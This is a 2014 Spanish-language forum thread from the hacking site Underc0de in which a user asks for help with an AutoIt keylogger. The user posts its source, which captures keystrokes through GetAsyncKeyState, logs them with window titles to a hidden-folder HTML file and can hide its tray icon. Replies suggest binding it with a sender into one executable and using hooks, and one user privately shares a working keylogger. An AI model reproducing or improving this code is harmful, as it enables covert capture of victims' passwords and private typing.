Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: Knaya en Marzo 25, 2014, 12:18:52 PM

Título: [SOLUCIONADO] AutoIT keylogger
Publicado por: Knaya en Marzo 25, 2014, 12:18:52 PM
Buenas,
            hice un sencillo keylogger en autoit como para aprender el lenguaje, a esto le agregué  un sender y un receiver automatico que envía el archivo generado por el klogger, aún testeado en @IPAdress1 únicamente.
El problema es que el klogger al ejecutarlo cada tecla que presiono emite un pitido, si bien esto no pienso usarlo ya que existen muchos buenos kloggers me gustaría cayarlo.
Y el otro problema que me encontré es como compilar los 2 scripts en 1 solo exe.
Gracias...
Título: Re:AutoIT keylogger
Publicado por: 79137913 en Marzo 25, 2014, 12:28:25 PM
HOLA!!!

Podrias colocar algo de tu codigo para analizarlo y ayudarte?

En cuanto a 2 scripts en un Exe... podes hacer 2 exes y usar un blinder.

GRACIAS POR LEER!!!
Título: Re:AutoIT keylogger
Publicado por: Knaya en Marzo 25, 2014, 12:36:40 PM
Si claro, acá va...

$hDll = DllOpen("user32.dll");
$window2=""
$date=@year&@mon&@mday
$log= "c:\logfiles\"
$silent=0
DirCreate ($log)
HotKeySet("^!", "Terminate")
if $silent=0 Then traytip("Keylogger","Keylogger Activated","",1)
Opt("TrayIconHide", $silent)

Func _IsPressed($hexKey)
Local $aR, $bRv
$aR = DllCall($hDll, "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then
    $bRv = 1
Else
    $bRv = 0
EndIf

Return $bRv
EndFunc

$file = FileOpen($log&"\log.htm", 1)
If $file = -1 Then
  Exit
EndIf
filewrite($file,"<font face=Verdana size=1>")

Func Terminate()
if $silent=0 Then traytip("Keylogger","Keylogger Deactivated",15,3)
    sleep(100)
    Exit 0
EndFunc

Opt("OnExitFunc","Terminate")

While 1

If _IsPressed(0xBA) Then  ;~<------ puse solo 1 tecla como ej para no pegar c/u
_LogKeyPress('; ')
sleep(100)
EndIf

;~ Aquí se repiten todas las funciones para el resto de las teclas

Func _LogKeyPress($what2log)
$window=wingettitle("")
if $window=$window2 Then
    FileWrite($file,$what2log)
    Sleep(100)
Else

$window2=$window
FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&"  "&@HOUR & ":" &@MIN & ":" &@SEC & ']  Window: "'& $window& '"</b><br>'& $what2log)
sleep (100)
Endif
EndFunc



Título: Re:AutoIT keylogger
Publicado por: 79137913 en Marzo 25, 2014, 02:39:22 PM
HOLA!!!

...

No parece un keylogger, parece un keycatcher...

Usas GetAsyncKeyState, eso es una mala practica, desconozco por que el pitido pero deberias hacerlo con hooks, no con Catchs. (investiga)

Si queres tengo un keylogger funcional con hooks, pero no se puede mostrar por aca, si lo necesitas o queres leerlo avisame.

GRACIAS POR LEER!!!
Título: Re:AutoIT keylogger
Publicado por: Knaya en Marzo 26, 2014, 09:57:29 AM
Si me gustaría verlo. Igual el fin no era el keylogger sinó aprender un poco del uso del lenguaje, sobre todo el uso TCP que tiene AutoIT.
Título: Re:AutoIT keylogger
Publicado por: 79137913 en Marzo 26, 2014, 01:28:51 PM
HOLA!!!

Enviado, te pido por favor que no lo distribuyas, utilizalo solo tu.

GRACIAS POR LEER!!!